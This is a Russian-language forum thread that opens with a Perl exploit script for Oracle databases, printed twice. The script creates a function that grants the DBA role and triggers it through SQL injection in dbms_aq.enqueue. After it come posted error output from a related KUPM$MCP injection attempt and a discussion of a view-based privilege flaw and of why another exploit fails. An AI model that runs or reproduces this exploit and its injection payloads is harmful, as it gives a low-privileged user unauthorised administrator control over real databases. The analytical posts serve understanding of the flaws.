Options: -h <host> target server address -s <sid> target sid name -u <user> user -p <passwd> password
-g|-r (g)rant dba to user | (r)evoke dba from user [-P <port> Oracle port]
USAGE exit 0 }
my $opt_string = 'h:s:u:p:grP:'; getopts($opt_string, \%opt) or &usage; &usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} ); &usage if ( !$opt{g} and !$opt{r} ); my $user = uc $opt{u};
my $dbh = undef; if ($opt{P}) { $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die; } else { $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die; }
my $sqlcmd = "GRANT ALL PRIVILEGE, DBA TO $user"; print "[-] Wait...\n";
if ($opt{r}) { print "[-] Revoking DBA from $user...\n"; $sqlcmd = "REVOKE DBA FROM $user"; $dbh->do( $sqlcmd ); print "[-] Done!\n"; $dbh->disconnect; exit; }
print "[-] Creating evil function...\n"; $dbh->do( qq{ CREATE OR REPLACE FUNCTION OWN RETURN VARCHAR AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '$sqlcmd'; COMMIT; RETURN 'burp'; END; } ); print "[-] Go ...(don't worry about errors)!\n"; my $sth = $dbh->prepare( qq{ DECLARE ident VARCHAR2(100); enq_opt dbms_aq.enqueue_options_t; msg_prp dbms_aq.message_properties_t; msgid raw(100); payload raw(100); BEGIN ident := '"'''||$user.own||'''"'; dbms_aq.enqueue(ident, enq_opt,msg_prp, payload, msgid); END; }); $sth->execute; $sth->finish; print "[-] YOU GOT THE POWAH!!\n"; $dbh->disconnect; exit;
Options:
-h <host> target server address
-s <sid> target sid name
-u <user> user
-p <passwd> password
-g|-r (g)rant dba to user | (r)evoke dba from user
[-P <port> Oracle port]
USAGE
exit 0
}
my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};
my $dbh = undef;
if ($opt{P}) {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
} else {
$dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
}
my $sqlcmd = "GRANT ALL PRIVILEGE, DBA TO $user";
print "[-] Wait...\n";
if ($opt{r}) {
print "[-] Revoking DBA from $user...\n";
$sqlcmd = "REVOKE DBA FROM $user";
$dbh->do( $sqlcmd );
print "[-] Done!\n";
$dbh->disconnect;
exit;
}
print "[-] Creating evil function...\n";
$dbh->do( qq{
CREATE OR REPLACE FUNCTION OWN RETURN VARCHAR
AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE '$sqlcmd'; COMMIT;
RETURN 'burp';
END;
} );
print "[-] Go ...(don't worry about errors)!\n";
my $sth = $dbh->prepare( qq{
DECLARE
ident VARCHAR2(100);
enq_opt dbms_aq.enqueue_options_t;
msg_prp dbms_aq.message_properties_t;
msgid raw(100);
payload raw(100);
BEGIN
ident := '"'''||$user.own||'''"';
dbms_aq.enqueue(ident, enq_opt,msg_prp, payload, msgid);
END;
});
$sth->execute;
$sth->finish;
print "[-] YOU GOT THE POWAH!!\n";
$dbh->disconnect;
exit;
Не пашет. Вместо второго сообщения вижу
[-] Wait...
[-] Creating evil cursor...
Cursor: 2
[-] Go ...(don't worry about errors)!
DBD::Oracle::st execute failed: ORA-06550: line 3, column 3:
PLS-00306: wrong number or types of arguments in call to 'MAIN'
ORA-06550: line 3, column 3:
PL/SQL: Statement ignored (DBD ERROR: error possibly near <*> indicator at char 9 in '
BEGIN
<*>SYS.KUPM$MCP.MAIN(''' AND 0=dbms_sql.execute(2)--','');
END;
') [for Statement "
BEGIN
SYS.KUPM$MCP.MAIN(''' AND 0=dbms_sql.execute(2)--','');
END;
"] at kupm-mcpmainV2.pl line 122.
[-] YOU GOT THE POWAH!!
Ну а потом права получить не удается.
Вот здесь:
http://www.sql.ru/forum/actualthread.aspx?tid=282197
обсуждают дырку с помощью которой пользователь имеющий право на селект, может что хочешь сделать с таблицей, дырка во всех актуальных ораклах, затыкают уже полтора года.
не надо сеять панику. должны быть права на select и create view, а это есть даже не у всех разработчиков, и тем более пользователей, которые по хорошему должны вобще-то не селекты писать, а работать с предметной областью через морду приложений.
Похоже некто 'AUTHOR: Andrea "bunker" Purificato' слишком увлекся perl'ом, не замечая, что PL/SQL это несколько другое.
Рассматриваем подробно один из постов http://rawlab.mindcreations.com/codes/exp/oracle/dbms_meta_get_ddlV2.pl
и исходники пакета DBMS_METADATA
Факты:
- PL/SQL пакет DBMS_METADATA открыт на выполнение всем желающим (т.е. PUBLIC).
- PL/SQL пакет DBMS_METADATA кишит динамическим SQL, выполняемым с помощью EXECUTE IMMEDIATE ( т.е. здесь же разбор ->построение_плана ->связывание_переменных_со_сначением ->выполнение ->возврат_запрошенного)
- код пакета DBMS_METADATA выполняется с правами его владельза (типа suid), его владелец SYS (суперпользователь)
- скрипт dbms_meta_get_ddlV2.pl создает и разбирает курсор "GRANT ALL PRIVILEGE, DBA TO $user" (предоставление крутых привилегий)
- скрипт dbms_meta_get_ddlV2.pl пытается подсунуть строку '||dbms_sql.execute(2)||' очень похожую на PL/SQL предложение "выполните сейчас же курсор номер 2" (т.е. GRANT...)
- указанная крамольная строка подается в качестве параметра OBJECT_TYPE функции GET_DDL пакета DBMS_METADATA
- скрипту говорят а-йа-йа-й (т.е. ORA-31600)
Домыслы:
похоже автор-бункер хочет верить что в SQL типа
'SELECT COUNT(*) FROM sys.metaview$ WHERE type=:1' значение связываемой переменной ":1" не связывается на этапе выполнения, а ее "макрорасширяет" PL/SQL-машина во время
EXECUTE IMMEDIATE STMT ... USING IN CONTEXT_LIST( IND ).OBJECT_TYPE
с его '||dbms_sql.execute(2)||' в качестве OBJECT_TYPE и как-будто бы вдруг SQL предложение станет выглядеть так
'SELECT COUNT(*) FROM sys.metaview$ WHERE type='||dbms_sql.execute(2)||''
Однако такого не происходит, ибо хранение курсора 'SELECT ... =:1' и значения переменной ":1" происходят в разных областях памяти SHARED_POOL и PGA соответственно, и их соединение происходит не в пакете DBMS_METADATA в виде двух строк ( как это можно себе воображать на perl или shell ), а в виде плана выполнения и строки (которой кстати апострофы также свято принадлежат как и все остальные буквы и не являются частью синтаксиса с призывами к конкатенации, это я про ||). Таким образом Select пытается найти строчку "'||dbms_sql.execute(2)||'" среди типов данных Oracle (их в 9i насчитальсь около 55 штук). Естественно, что нет там такого. Но DBMS_METADATA сразу не говорит ORA-00100 (нет данных), а выдумывает еще ORA-31600, что из области ее личной фантастики и вобщем-то не запрещено.
>должны быть права на select и create view
в том то и дело что не надо никакого create view, надо с помощью ansi синтаксиса особым образом сформировать запрос. На скульру все написано.
>том то и дело что не надо никакого create view, надо с помощью ansi
>синтаксиса особым образом сформировать запрос
доказано, что с inline view не работает, и ansi синтакс не причем.
хотя с помощью ansi синтаксиса (self-join) проблема была первоначально
случайно обнаружена, но работает и с обычным соединением, т.е. просто
таблица соединяется сама с собой по уникальному ключу. Соединение должно
быть в определении view, т.е. создание view _обязательно_. Собственно
дальнейшие манипуляции с данными в таблице производятся через view.
Также необходимым условием создания view на основе таблицы Oracle
является прямое право на select к данной таблице или косвенное право через PUBLIC, а косвенного права полученного через роль недостаточно.
Как видите необходимых условий для нарушения несколько, что позволяет
справиться с проблемой на уровне администратора БД, поэтому многие и не
спешат патчить свои системы, дабы не получить новых неожиданностей.
ps: теме уже больше года. все проверял сам лично.